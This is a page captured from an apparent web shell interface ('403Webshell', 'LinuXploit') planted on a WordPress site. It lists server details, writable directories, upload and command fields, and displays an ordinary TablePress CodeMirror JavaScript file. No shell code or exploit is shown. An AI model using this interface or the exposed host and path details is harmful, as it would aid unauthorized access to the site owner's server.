403Webshell
Server IP : 172.67.71.254  /  Your IP : 216.73.216.4
Web Server : nginx/1.27.1
System : Linux in-5 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
User : arabianexpress ( 1872)
PHP Version : 8.0.30
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /storage/v9321/leapdubai/public_html/wp-content/plugins/tablepress/admin/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /storage/v9321/leapdubai/public_html/wp-content/plugins/tablepress/admin/js//codemirror.js
/**
 * JavaScript code for the CodeMirror handling on the "Options" screen.
 *
 * @package TablePress
 * @subpackage Views JavaScript
 * @author Tobias Bäthge
 * @since 1.9.0
 */

/* globals tp, wp */

/* jshint strict: global */
'use strict'; // Necessary as this file does not use "import".

// Ensure the global `tp` object exists.
window.tp = window.tp || {};

document.addEventListener( 'DOMContentLoaded', () => {

	/**
	 * Invoke CodeMirror on the "Custom CSS" textarea.
	 *
	 * @since 1.9.0
	 */
	tp.CM_custom_css = wp.codeEditor.initialize( 'option-custom-css', {} ).codemirror;
	const $CM_wrapper = tp.CM_custom_css.getWrapperElement();

	/**
	 * Let CodeMirror textarea grow on first focus (with mouse click), if it is not disabled.
	 *
	 * @since 1.0.0
	 */
	const CM_wrapper_mousedown_handler = function () {
		if ( ! this.classList.contains( 'disabled' ) ) {
			this.classList.add( 'large' );
			tp.CM_custom_css.refresh();
			this.removeEventListener( 'mousedown', CM_wrapper_mousedown_handler ); // No need to keep checking for clicks after the textarea height was increased.
		}
	};
	$CM_wrapper.addEventListener( 'mousedown', CM_wrapper_mousedown_handler );

	/**
	 * Enable/disable CodeMirror according to state of "Load Custom CSS" checkbox.
	 *
	 * @since 1.0.0
	 */
	const $cb_use_custom_css = document.getElementById( 'option-use-custom-css' );
	$cb_use_custom_css.addEventListener( 'change', function () {
		tp.CM_custom_css.setOption( 'readOnly', ! this.checked );
		$CM_wrapper.classList.toggle( 'disabled', ! this.checked );
	} );
	$cb_use_custom_css.dispatchEvent( new Event( 'change' ) );

} );

Youez - 2016 - github.com/yon3zu
LinuXploit